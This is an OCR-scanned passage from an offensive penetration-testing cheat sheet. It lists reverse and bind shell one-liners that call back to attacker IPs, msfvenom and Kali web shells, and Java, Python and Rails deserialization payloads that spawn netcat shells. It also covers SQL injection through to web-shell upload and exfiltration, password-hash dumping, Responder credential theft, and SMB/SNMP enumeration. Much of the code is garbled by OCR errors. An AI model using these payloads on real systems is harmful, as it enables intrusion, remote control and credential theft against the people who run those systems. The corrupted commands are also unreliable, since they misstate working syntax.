ncat -1k -p8080 -e /bin/bash & :1-listener; k-keepalive; &-bg
python -m SimpleHTTPServer 8080 :combine with a watering hole
PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use
Socket;$i:"l0.0.0.l";$p:1234;socket(s,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(co
nnect (S, sockaddr_ in ($p,inet aton($i)))) {open (STDIN,">&S") ;open (STDOUT, ">&S") ; open (STDE
RR, ">&S") ;exec ("/bin/sh —=i");};"

Perl Windows Shell:
perl -MIO -e 'S$Sc=new I0::Socket::INET (PeerAddr, "ATTACKING-IP:80");STDIN-
>fdopen ($c, r) ; $~—>fdopen ($c,w) ; system$S while<>;'

Alt Perl Windows Shell:

perl -e 'use Socket;S$i="ATTACKING-

IP";Sp=80;socket (S, PF_INET, SOCK STREAM, getprotobyname ("tcp"));if (connect (S,sockaddr in
(Sp,inet aton($i)))) {open(STDIN, ">&S") ;open (STDOUT, ">&S") ; open (STDERR, ">&S") ;exec (" /bi
n/sh -i");};"'

PHP
*for example this works with weevely web shells
This code assumes that the TCP connection uses file descriptor 3. This worked on my

test system. If it doesn’t work, try 4, 5, 6.

*note open your listener on the attack machine first then:

php -r 'S$sock=fsockopen("10.0.0.1",1234) ;exec ("/bin/sh -i <&3 >&3 2>&3") ;"'

If you want a .php file to upload, see the more featureful and robust php-reverse-
shell.

Python
This was tested under Linux / Python 2.7:

python -c 'import

socket, subprocess, os; s=socket.socket (socket .AF INET,socket.SOCK STREAM) ;s.connect (("10
.0.0.1",1234));0s.dup2(s.fileno(),0); os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2) ;p=subprocess.call (["/bin/sh","-i"]) ;"

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_ i;exec sprintf ("/bin/sh -i <&%d
>&%d 2>&%d",f£,£,£) "

Telnet
rm —-f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 O/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

xterm

One of the simplest forms of reverse shell is an xterm session. The following command
should be run on the server. It will try to connect back to you (10.0.0.1) on TCP
port 6001.

xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 — which listens on TCP port 6001).

One way to do this is with Xnest (to be run on your system):

Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip
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Further Reading
Also check out Bernardo’s Reverse Shell One-Liners. He has some alternative approaches
and doesn’t rely on /bin/sh for his Ruby reverse shell.

There’s a reverse shell written in gawk over here. Gawk is not something that I've ever
used myself. However, it seems to get installed by default quite often, so is exactly
the sort of language pentesters might want to use for reverse shells.

Web Shells — Platform Independent

These are only useful if you are able to upload, inject or transfer the shell to the
machine.

Create a Reverse Shell with msfvenom

#ASP

msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.1.101 LPORT=443 -f asp >
shell.asp

#JSP
msfvenom -p java/Jjsp shell reverse tcp LHOST=192.168.1.101 LPORT=443 -f raw >
shell.jsp

#PHP
msfvenom -p php/meterpreter reverse tcp LHOST=192.168.1.101 LPORT=443 -f raw >
shell.php

#WAR
msfvenom -p java/Jjsp shell reverse tcp LHOST=192.168.1.101 LPORT=443 -f war >
shell.war

Kali Reverse & Command Web Shells
#ASP Reverse Shell
/usr/share/webshells/asp/

#ASPX .NET Reverse Shell
/usr/share/webshells/aspx/

#Coldfusion Shell
/usr/share/webshells/cfm/cfexec.cfm

# Findsock Shell. Build gcc -o findsock findsock.c (be mindfull of the target servers
architecture), execute with netcat not a browser nc -v target 80
/usr/share/webshells/php/php-findsock-shell.php

/usr/share/webshells/php/findsock.c

#JSP Reverse Shell
/usr/share/webshells/jsp/jsp-reverse.jsp

# Perl Reverse Shell
/usr/share/webshells/perl/perl-reverse-shell.pl

# Perl Shell. Usage: http://target.com/perlcmd.cgi?cat /etc/passwd
/usr/share/webshells/perl/perlcmd.cgi

#PHP Reverse Shell
/usr/share/webshells/php/php-reverse-shell.php

# PHP backdoor, usefull for CMD execution if upload / code injection is possible,
usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
/usr/share/webshells/php/simple-backdoor.php

# Larger PHP shell, with a text input box for command execution.
/usr/share/webshells/php/php-backdoor.php

One Drive Listener in PowerShell Empire 3.1.3

https://www.bc-security.org/post/using-the-onedrive-listener—-in-empire-3-1-3
uselistener onedrive :use onedrive listener in empire

info :view config info
https://portal.azure.com/#blade/Microsoft AAD RegisteredApps/ApplicationsListBlade -
set up app by new registration, add app name, redirect URI as
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https://login.live.com/ocauth20 desktop.srf, copy ClientID over to Empire, generate
Client Secret in Certificates & Secrets Tab / New Client Secret, copy to Empire. Last

part of setup, to obtain AuthCode, login to app from your Azure account (type execute
in Empire to see the url to redirect to)

set AuthCode <Auth-Code-..>
set Listener onedrive

:set up your authorization code
:create stager

0365 & PowerShell for Covert C2

https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-
Office365-Powershell-For-Covert-C2.pdf

First script referenced: https://github.com/craigdods/C2-SaaS/blob/master/Single—
Stage.psl

Second script referenced: https://github.com/craigdods/C2-SaaS/blob/master/LNK-
Sabotage.psl
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Serialize Exploits

XMLDecoder (Java Class) Deserialization

If you can get an application to use an arbitrary data in a call to the method readobject,
gain instant code execution.

Detection: contained in first line of signature generated by server. Example: <java
version="1.7.0_ 67" class="java.beans.XMLDecoder">

To get a shell, the Java code would look like this:

Runtime run = Runtime.getRuntime () ;

String[] commands = new String[] { "/usr/bin/nc", "-1","-p", "9999", "-e", "/bin/sh" };
run.exec (commands ) ;

Our payload in an xml file we submit to the site (using exec) to run looks like:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_ 21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-1</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

OR
Our payload in an xml file we submit to the site (using ProcessBuilder) to run looks like:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0 21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-1</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
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</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

ObjectlnputStream, using readObject (Java Applications: Groovy, Jdk7u2l, Springl, etc) Deserialization

Applications using the method readObject () on data coming in from user are subject to this.

Detection: The cookie we receive when we login starts with rO0 (“ac ed” decoded), which is
usually an indication of a base64 encoded, Java deserialized object.

The tool ysoserial embeds gadgets that can leverage readObject. Download link here

java -jar ysoserial-0.0.4-all.jar

Our example is a Spring application, so we just use the Springl payload. If we didn't have
this information, we would have to try all the payloads and hope that a "vulnerable"
library is loaded by the application.

Generate our payload using:

java -jar ysoserial-0.0.4-all.jar Springl "/usr/bin/nc -1 -p 9999 -e /bin/sh" | base64
Then copy the base64 output and copy it to the auth= portion of your replay packet.

Jenkins (Java Class) Deserialization

Jenkins supports serialised objects based on XStream. Previously, it was possible to get
code execution using java.beans.EventHandlerbut it's no longer the case.

Thankfully, Jenkins embeds few third party libraries that include Gadget that can provide
an attacker with remote code execution. The payload illustrated in this exercise relies on
Groovy:
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando"/>
<owner class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</owner>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>

I had to append ?name=newName to the Jenkins URL that made new items & change to HTTP 1.0 &
also change application type to application/xml

POST /createltem?name=test HTTP/1.0

[...]

Pickle (Python Class) Deserialization

Python Application Using Pickle Library (turns objects->strings for easy storage in db)
After registering a user, we inspect the login page with Burpe or Fiddler. In the Cookies
we see a session=.. In Burpe we can right click and send to decoder. We take the first part
of the session before the “.” and base64 decode it. If we base64 decode in Burpe it
stripped out the {} surrounding our variables required for JSON, but online at
https://www.base6d4decode.org/ it decoded properly. Everything after the first “.” Does not
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decode so it appears to be part of a hash for the base64 decoded variable which we saw was
the user name. If we select the remember me function during login, then take that and send
to base64 decode we see both the old session id, and a new one that when decoded has a
really long line which is a good indication that something has been pickled. In this case
the remember me function is more likely to be vulnerable. Below is a python script to
pickle a code ourself and try to inject in place of the username variable. Run python
pickle.py. Take the output and replace your rememberme session, but don’t forget to also
remove the logged in session id otherwise the rememberme will get disregarded.

pickle.py (from pentesterlabs)
import cPickle

import os

import base64

class Blah (object) :
def  reduce (self):
return (os.system, (“netcat -c ‘/bin/bash -i’ -1 -p 1234 “,))

print base64.b64encode (cPickle.dumps (Blah()))

Ruby on Rails Remote Code Deserialization (CVE-2013-0156, embedding YAML in XML)

Arbitrary deserialization that can be used to trigger SQL injection and even Code execution
Proof of concept exploit

Create a new action with arbitrary code in it. use the exploit above as copying and
pasting the payload will break the syntax of the YAML. YAML is very sensitive to line-
break and whitespaces. Here we can see that the YAML is used to run some Ruby code.

Scan for Ruby on Rails

auxiliary/scanner/http/http version in metasploit :ports 80, 343, 3000, 3001, 4567,
8080, 8443, and 3790

Rails may be only be accessible at a certain path, such as /forum or /redmine

Scan for vulnerability

msf> use auxiliary/scanner/http/rails xml yaml scanner

msf auxiliary(rails xml yaml scanner) > set RHOSTS 192.168.0.0/24
msf auxiliary(rails xml yaml scanner) > set RPORT 80

msf auxiliary(rails xml yaml scanner) > set THREADS 128

msf auxiliary(rails xml yaml scanner) > run

Exploit through MetaSploit

msf> use exploit/multi/http/rails xml yaml code exec

msf exploit(rails xml yaml code exec) > set RHOST 192.168.0.4
msf exploit(rails xml yaml code exec) > set RPORT 80

msf exploit(rails xml yaml code exec) > exploit

id
cat /etc/passwd
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Database Injection Attacks

SQL Injection Automated

sglmap —u http://192.168.11.35 —-crawl=1 renum pages, search vulns

sglmap —u http://192.168.11.35/comment.php?id=738 ——dbms=mysgl —-dump —-threads=5
rautomate extraction of data

sglmap —u http://192.168.11.35/comment.php?id=738 —-dbms=mysgl —os-shell
rattempt to upload cmd shell on target

SQL Injection Commands Notes
SQL Injection Tests

test’ OR 1=1;-- :try inputting to user field

test’ OR 1=1-- :try inputting to user field

test’ OR 1=1;# :try inputting to user field

test’ OR 1=1 LIMIT 1# :developer limited output to 1 result
\ in username and in password field ’ or 1=1# :dev blocks ‘ so use / to escape °
examplel.php?name=root' or '1l'='1l :normal page name=root
.php?name=root' or '1l'='1' %23 : (%$23=#), same as above
.php?id=2%20%23 1 (223=#)

.php?id=3-1 also .php?id=2.0 or .php?id=1%2Bl1 :same as last entry (%2B=+)

SQL Injection Test with SQL Statement (look to see where echoed in SQL statement)

.php?order=name” %23 or name”~ ASC # or name’, "name : (# change to %$23); results
wont change but wrong syntax breaks
name  DESC # :descending order

IF (1, columnl,column2) or IF(0, columnl,column2) :sort compares values as strings not
integers i1if one column contains string

Bypass Input Validation Techniques

?name=root'%$090r%09'1'="1 : (replace spaces with %$09=\t)bypass
ERROR NO SPACE

?name=root'/**/or/**/'1'="'1 :(/**/ alternate for #,ERROR NO SPACE

Alternative to above: sglmap -u "http://192.168.79.162/sgli/example?2.php?name=root" --
dump —--tamper=space2comment

using mysgl real escape string can prevent above,

.php?id=3-1%090r%091=1 :in this example had to take out

.php?id=3-1%090r%091=1%23123 :example where regex to test if last
character is integer

.php?id=2%0A or 1=1 (123\nPYLD, PAYLOAD\n123, PAYLOAD\n123\nPAYLOAD) : $0A=1ine feed; for
regex using /m (PCRE_MULTILINE)

M or 1=1 # :use a GBK character to bypass

mysgl real escape_string()

SQL Injection Examples

wronguser or 1=1 LIMIT 1;# :basic SQL inj ex
exec master..xp cmdshell ‘ping <attackerIP> --:MySQL — run code
http://192.168.11.35/comment .php?id=738 union all select 1,2,3,4,”<?php echo
shell exec($ GET[‘cmd’]);?>",6 into OUTFILE ‘c:/xampp/htdocs/backdoor.php’

N N :create malicious PHP file on server
and 1=0 union select ‘<php code>" INTO OUTFILE ‘/var/www/html/mycode.php’

:mysgl —-build malicious PHP file

exec master..sp makewebtask \\ip\sharel\results.html, "select * from
informationischgma.tables" rmysgl-exfil data to attacker file share

MS SQL Injection Commands (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sqgl-injection-cheat-sheet)

SELECT @@version :version

SELECT user_name () ; :current user

SELECT system user; :current user

SELECT user; :current user

SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

SELECT name FROM master..syslogins :1list users

SELECT name, password FROM master..sysxlogins — priv, mssqgl 2000; :list pass hashes
SELECT name, master.dbo.fn varbintohexstr (password) FROM master..sysxlogins — priv,

76

https://t.me/learningnets



mssgl 2000. Need to convert to hex to return hashes in MSSQL error message / some

version of query analyzer :1list password hashes

SELECT name, password hash FROM master.sys.sql logins — priv, mssgl 2005; :1list pass-h
SELECT name + ‘-’ + master.sys.fn varbintohexstr (password hash) from

master.sys.sql logins — priv, mssql 2005 :1list password hashes

MSSQL 2000 and 2005 Hashes are both SHAl-based. phrasen|drescher can crack these.
SELECT name FROM master..sysdatabases; :1list dbs

SELECT DB NAME (N); — for N =0, 1, 2, .. :list dbs

SELECT master..syscolumns.name, TYPE NAME (master..syscolumns.xtype) FROM
master..syscolumns, master..sysobjects WHERE
master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable’; —
list colum names and types for master..sometable :list columns

SELECT name FROM master..sysobjects WHERE xtype = ‘U; — use xtype = V' for views:tables
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; :1list tables

MS SQL Command Execution

EXEC xp_ cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp cmdshell
first as it’s disabled by default:

EXEC sp_configure ‘show advanced options’, 1; — priv

RECONFIGURE; — priv

EXEC sp_configure ‘xp cmdshell’, 1; — priv

RECONFIGURE; — priv

MySQL Injection Commands (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)

SELECT @Q@version :version

SELECT user_ name () ; :current user

SELECT system user; rcurrent user

SELECT user; :current user

SELECT system user () ; :current user

SELECT user FROM mysgl.user; — priv :1list users

SELECT host, user, password FROM mysgl.user; — priv :list password hashes

John the Ripper will crack MySQL password hashes

SELECT schema name FROM information_ schema.schemata; — for MySQL >= v5.0:1ist dbs
SELECT distinct (db) FROM mysgl.db — priv :1list dbs

SELECT table schema, table name, column name FROM information schema.columns WHERE
table schema != mysgl’ AND table schema != ‘information schema’ :list columns
SELECT table schema, table name FROM information schema.tables WHERE table schema !=
‘mysgl’ AND table schema != ‘information schema’ :1list tables

MySQL Command Execution

Command Execution: If mysgld (<5.0) is running as root AND you compromise a DBA account
you can execute OS commands by uploading a shared object file into /usr/lib (or
similar). The .so file should contain a User Defined Function

(UDF) . raptor udf.cexplains exactly how you go about this. Remember to compile for the
target architecture which may or may not be the same as your attack platform.

Local File Access: .. UNION ALL SELECT LOAD FILE (‘/etc/passwd’) — priv, can only read
world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv,

write to file system

SQL Injection to Shell Example

Fingerprinting

telnet site 80 ronly if HTTP was available
GET /HTTP/1.1

Host: site :shows server/PHP version
openssl s _client -connect vulnerable:443 :telnet wont work on HTTPS

Then use Burp or Fiddler to see Server/PHP version

Enumerating using wfuzz

python wfuzz.py -c -z file,wordlist/general/big.txt --hc 404 http://site/FUZZ
*some systems use python wfuzz.py with wfuzz

python wfuzz.py -z file -f commons.txt --hc 404 http://site/FUZZ.php - detect php
scripts

changing site/cat.php?id=1 to site/cat.php?id=2-1 and working tells us site may be
vulnerable to injection
test site/cat.php?id=1’ throws an error telling us SQL
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test site/cat.php?id=1 and 1=1 gives us the regular page, testing for inj methods

test site/cat.php?id=1 and 1=0 doesn’t return anything because false, exploitable
site/cat.php?id=1 union select 1 — throws error because we have to have the same amount
of matching columns so site/cat.php?id=1 union select 1,2 then site/cat.php?id=1 union
select 1,2,3 .. until finally union select 1,2,3,4 works

site/cat.php?id=1 order by 10 - tries to order by column #10. Our example throws error
so we try until we get the max value, which tells us the number of columns
site/cat.php?id=1 union select 1,@@version,3,4 - gives us version of database
site/cat.php?id=1 union select 1l,user(),3,4 - gives us the current user
site/cat.php?id=1 union select 1,database(),3,4 - gives us the current db
site/cat.php?id=1 union select 1,table name, 3,4 from information schema.tables

We notice a users table so we want to get info to be able to query it:
site/cat.php?id=1 union select 1,column name, 3,4 from information schema.columns - we
notice login/password columns

site/cat.php?id=1 union select 1,login,3,4 from users

site/cat.php?id=1 union select 1,password,3,4 from users — looks like a hashed passwd
site/cat.php?id=1 union select 1,concat (login,’:’,password), 3,4 from users

Cracking password
Try googling the hash to see if you can find the decrypted password easily OR
./john password --format=raw-md5 --wordlist=dico --rules

Getting Command Injection
Now that you have admin access log in to the site as admin
We create a php file and try to upload it as a picture:
<?php

system($_GET['CMD’]) ;

>

But we get an error trying to prevent uploading php files — try changing extension to
.php3 or .php4 and we are able to upload.

We look at the source code to see where the image was uploaded to, /admin/uploads/
site/admin/uploads/test.php3?cmd=uname -a :runs our command
site/admin/uploads/test.php3?cmd=cat /etc/passwd

Oracle Injection Commands (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sqgl-injection-cheat-sheet)

SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; :version

SELECT banner FROM vS$version WHERE banner LIKE ‘TNS%’; :version

SELECT version FROM v$instance; :version

SELECT user FROM dual rcurrent user

SELECT username FROM all users ORDER BY username; :1list users

SELECT name FROM sys.user$; — priv :1list users

SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if
acct is locked :1list password hashes

SELECT name, spare4 FROM sys.user$ — priv, 1llg :list password hashes

checkpwdwill crack the DES-based hashes from Oracle 8, 9 and 10.

SELECT * FROM session privs; — current privs :list privs

SELECT * FROM dba sys privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
SELECT grantee FROM dba sys privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv,
find users with a partigula; priv :list privs

SELECT GRANTEE, GRANTED ROLE FROM DBA ROLE PRIVS; :list privs

SELECT DISTINCT owner FROM all tables; — list schemas (one per user) :list dbs
SELECT column name FROM all tab columns WHERE table name = ‘blah’; :list columns
SELECT column name FROM all tab columns WHERE table name = ‘blah’ and owner = ‘foo’;
SELECT table name FROM all tables; :list tables

SELECT ownerj table name FROM all tables; :1list tables

Oracle Command Execution

Command Execution: Java can be used to execute commands if it’s installed.ExtProc can
sometimes be used too, though it normally failed

Local File Access: UTL FILE can sometimes be used. Check that the following is non-
null: SELECT value FROM vS$parameter2 WHERE name = ‘utl file dir’;Javacan be used to read
and write files if it’s installed (it is not available in Oracle Express) .

MongoDB Injection (typically v2.2.3 and below)

user' || 1==1 // :SQL equivalent to: ‘ or 1=1 #
user' || 1l==1 <!-- :SQL equivalent to: ‘ or 1=1 #
user' || 1==1 %00 :SQL equivalent to: ‘ or 1=1 #

78

https://t.me/learningnets


http://www.red-database-security.com/software/checkpwd.html
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Find MongoDBs with nNo Password Set

nmap -Pn -p 27017 --script mongodb-databases x.x.x.x :mongodb runs off port 27017
OR

nosglmap.py ; select option 4 — scan for anonymous MongoDB Access

OR

msfconsole

use auxiliary/scanner/mongodb/mongodb login

show options

set rhosts x.x.x.x

exploit

Access MongoDB:

nosglmap :cmd line tool w/automated steps
mongo <ip> :command line
Robomongo :GUI

Exploit (typically v2.2.3 and below) :
exploit/linux/misc/mongod native helper

Password Guessing Example

/?search=admin'%20%26%26%20this.password.match(/.*/)%00: we can see a result.
/?search=admin'%20%26%26%20this.password.match (/zzzzz/)%00: we cannot see a result.
/?search=admin'%20%26%26%20this.passwordzz.match(/.*/)%00: we get an error message
(since the field passwordzz does not exist).

test if password match /"a.$/ if it matches test without the wildcard °. (to check if
it's the full password). Then move to the next letter if it does not match.
test if password match /"b.$/ if it matches test without the wildcard . . Then move to

the next letter if it does not match

/~a.*$/ that will return true.

/"~a$/ that will return false.

/~aa.*$/ that will return true.

/~aa$/ that will return false.

/~aaa.*$/ that will return false.

/~aab.*$/ that will return true.

/~aab$/ that will return true. The password has been found.

Mysqgl Passwords (On the box, not SQL.I)

On a lot of systems you should be able to connect to mysgl as root with no password
mysgl —u root

show databases;

use [DATABASE];

show tables;

select * from [TABLE];

*the show and use cmd wont work with SQL injections, internal commands not part of sgl
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Enumeration

Registry Settings for Null Session Enumeration
HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymous=0

:Win 2000 targets (default 0)allowing you to enumerate null remotely
HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymousSAM=0

:Win XP-10 targets (default 1), if 0 allows remote null enumeration

NetBIOS Info Scan
nbtscan —r <ip/cidr> :identify NetBIOS info

#NBTScan unixwiz
apt-get install nbtscan-unixwiz
nbtscan-unixwiz —f 192.168.0.1-254 > nbtscan

SMB Enumeration Tools

Linux

enum4linux —-v (or —a) <ip> enumeration tool in Kali, user names,
shares, password policies, etc

nmblookup —A target

smbclient //MOUNT/share —-I target —-N

rpcclient -U “” target

#Fingerprint SMB Version / manual null session test
smbclient -L //192.168.1.100

smbclient -L <win ip> -U <user> -p 445 :1list shares
smbclient //<win_ ip> /test -U <user> -p 445 :connect to share like ftp, 1ls, dir, cd,
get cmds
rpcclient -U <user> <win_ ip> :establish session
Enumdomusers :1list users
Enumalsgroups <domain>|<builtin> :1list groups
Lsaenumsid :show sids on box
Lookupnames <name> :show sid associated with user or group
Lookupsids sid :show username associated w/SID
Srvinfo :show OS type and version
rpcclient ip -U user :username/password
enum<TabTab> :ie enumdomusers
rpcclient $> srvinfo renum server info
rpcclient $> enumalsgroups domain :domain related groups
rpcclient $> enumalsgroups builtin :built in groups
rpcclient $> lookupnames user :look up sids
rpcclient $> lookupnames administrator :sid lookup
rpcclient $> queryuser 500 :full user info
rpcclient $> queryuser 1000 :full user info

#Find open SMB Shares
nmap -T4 -v -oA shares —--script smb-enum-shares --script-args
smbuser=username, smbpass=password -p445 192.168.1.0/24

#User enumeration through SMB (& if passwords needed)
nmap —-n —script=smb-enum-users.nse —-p U:137,T:139 <ip>

#RID Cycling
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

#Metasploit module for RID cycling
use auxiliary/scanner/smb/smb_lookupsid

# SMB Session Enumeration through MetaSploit (checks guest sessions)
msfconsole

use auxiliary/scanner/smb/smb_login

set RHOSTS 192.168.31.200-254

set threads 16
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run

# SMB User Enumeration through MetaSploit
msfconsole

Use auxiliary/scanner/smb/enum users

Set RHOSTS 192.168.31.200-254

Set threads 16

Run

Windows

enum —-S <target ip> :1list of shares (IPCS$,ADMINS,CS)
enum -U <target ip> :1list of users

enum -G <target ip> :1list of groups and member acconts
enum —-P <target ip> :password policy information

#Establish Null SMB Sessions From Windows to harvest user names

net use \\<ip> :attempts a null session

net use \\<ip>\IPCS$ “ /u:"” :attempts a null session

net view \\<ip> :view accessible shares

net use \\<ip>\<sharename> :shares such as IPCS$S,ADMINS,CS

net use \\<ip> <password> /u:<user> :to use a user/password

net use \\<ip> /del :delete outbound SMB session
*important to delete sessions or you might not be able to establish more later

net session :view sessions

net session \\<ip> /del :delete inbound SMB sessions

local administrators \\<ip> :1list admins after creation of null sess
global "domain admins"™ \\<ip> :1list domain admins after null session

#Enumerating/Translating Sids/Users

net use \\<ip> <password> /u:<user> :use username/pass if you have
user2sid \\10.10.10.10 <domain> :record the security id that generates
sid2user \\<ip> <previous info, no “-“> 500 :500 gives us the admin’s name
for /L %i in (1000,1,1010) do @sid2user \\<ip> <prev info no “-“> %i :enumerate users

LLMNR / NBT-NS Spoofing
Steal Creds off the network

#Responder.py

git clone https://github.com/SpiderLabs/Responder.git
python Responder.py —-i local-ip -I ethO

*Note you should run responder for the whole engagement

#MetaSploit LLMNR / NetBIOS requests (spoof/poison requests)
auxiliary/spoof/llmnr/llmnr response

auxiliary/spoof/nbns/nbns response :next capture hashes..
auxiliary/server/capture/smb
auxiliary/server/capture/http ntlm :next use john or hashcat to crack hashes

Linux Assorted Enumeration Methods

cat /etc/password :locally

finger :locally-currently logged on

who :locally-currently logged on

w :locally-see what user is doing

finger @<ip> :remotely-usually off now

ypcat passwd :remotely—-if Network Info Service server
ldapsearch <criteria> :remotely—-if LDAP is in use

SharpView (Unpriv user) Domain Enumeration

https://github.com/tevora-threat/SharpView
sharpview Get-DomainUser -Domain domain.org -Credential user/password —-Server ip |

findstr ““name” :Domain Users
sharpview Get-NetComputer -Domain domain.org -Credential user/password -Server ip |
findstr ““operatingsystem “name” :Domain Computers

BloodHound: Map Path to Domain Admin Access

https://github.com/BloodHoundAD/BloodHound
Graph the guickest way to domain admin privs
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SNMP Enumeration through MetaSploit (helps find user accounts as well)

msfconsole

use auxiliary/scanner/snmp/snmp_ enum
info

set RHOSTS 192.168.31.200-254

set threads 16

run

SNMP Enumeration

*SNMPv1l and v2 very flawed, v3 much more secure

nmap —-sU —pl6l -—-script=snmp-interfaces <ips> :find interfaces

nmap -sU -pl6l —--script=snmp-brute <ips> :cred search

nmap —sU —pl6l -—-script=snmp-processes <ips> :find addit. Services

nmap —sU —pl6l —-script=snmp-netstat <ips> :netstat via snmp

nmap —sU —pl6l —-script=snmp-sysdescr <ips> :server type and OS

nmap —sU —pl6l —-script=snmp-win32-software <ips>:software

nmap —-sU —pl6l —-sV —-sC <ip> rall scripts

snmpcheck —t <ip> -c public :way easier than 161 or snmpwalk

snmpwalk -c public -v1 192.168.1.X 1| grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.X

nmap —sU —open —-p 161 <ips> -oG snmp.txt :SNMP scan

echo public >> community :enter var in bash

echo private >> community :enter var in bash

echo manager >> community renter var in bash

for ip in $(seqg 200 254);do echo 192.168.11.$ip;done >ips

onesixtyone —c community —i ips :161 brute forces snmp
onesixtyone —c names —-i 1ips

snmpwalk —c public —vl <ip> :Enumerate entire MIB tree
snmpwalk -c public —vl1 <ip> 1.3.6.1.4. .77.1.2.25:Enumerate Windows Users
snmpwalk —c public —vl <ip> 1.3.6.1.2.1.25.4.2.1.2:Enumerate Windows Processes
snmpwalk —c public —vl <ip> 1.3.6.1.2.1.6.13.1.3:Enumerate open TCP ports
snmpwalk —c public —vl <ip> 1.3.6.1.2.1.25.6.3.1.2:Enumerate installed software

#identify SNMPv3 with nmap
nmap -sV -p 161 --script=snmp-info TARGET-SUBNET

#SNMPv3 with snmpwalk and Rory McCunes script
apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

#Kali Wordlist for SNMP
Metasploit's wordlist (KALI path below) has common credentials for vl & 2 of SNMP, for

newer credentials check out Daniel Miessler's Seclists project on GitHub

SMTP Enumeration Scan (Email)

nc —nv <ip> 25 :connect to email server w/netcat
VRFEY bob :verify user, 250-successful, 550-fail
For user in $(cat users.txt); do echo VRFY Suser|nc —nv —-w 1 <emailserver ip> 25
2>/dev/null |grep "”250”;done

*a bash script to run VRFY against a list of users, log errors to /dev/null, grep
successful attempts

R Services Enumeration

This should be legacy but environments with mainframe may still use
#RSH Run Commands
rsh <target> <command>

#Metasploit RSH Login Scanner
auxiliary/scanner/rservices/rsh login

#rusers Show Logged in Users
rusers —al 192.168.2.1

#rusers scan whole Subnet
rlogin -1 <user> <target> :e.g rlogin -1 root TARGET-SUBNET/24
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#rwho
Use nmap to identify machines running rwhod (513 UDP)

Linux Enumeration Script

LinEnum.sh

#rebootuser.com & github.com/ rebootuser/LinEnum

#Example: ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

#-k Enter keyword

#-e Enter export location

#-t Include thorough (lengthy) tests

#-s Supply current user password to check sudo perms (INSECURE)
#-r Enter report name

#-h Displays this help text

#!/bin/bash

#A script to enumerate local information from a Linux host
version="version 0.93"

#Q@rebootuser

#help function

usage ()

{

echo -e "\n\e[00; 31m#######H#HHFHHHHHHHHHH444 444 HFFFFH AR S S 444444 HHFFFH###### e [O0m"”
echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation
Script\e[00m" "\e[00;31m#\e[00m"

echo -e "\e[00; 31m########4HHFHHHHHHHHHH44 4444 HHFFHHHHHHSHHHH 44444 HHFFF#### \c[O0Om"
echo -e "\e[00;33m# www.rebootuser.com | @rebootuser \e[00m"

echo -e "\e[00;33m# S$version\e[00m\n"

echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n"

echo "OPTIONS:"

echo "-k Enter keyword"

echo "-e Enter export location"

echo "-s Supply user password for sudo checks (INSECURE)"
echo "-t Include thorough (lengthy) tests"

echo "-r Enter report name"

echo "-h Displays this help text"

echo -e "\n"

echo "Running with no options = limited scans/no output file"

echo -e "\e[00;31m######H#4#HH44##HH#HMHHHFIHAHFHFHAHFERIHARHEHIHSRFESSHERHE \[OOM"

}

header ()

{

echo —e "\n\e[00; 31m########HH#4HHHHHHHHHHAHHHFHHHHHFHHAFHHHSHHHHSHHHASHHHHHHH e [00m"
echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation
Script\e[00m" "\e[00;31m#\e[00m"

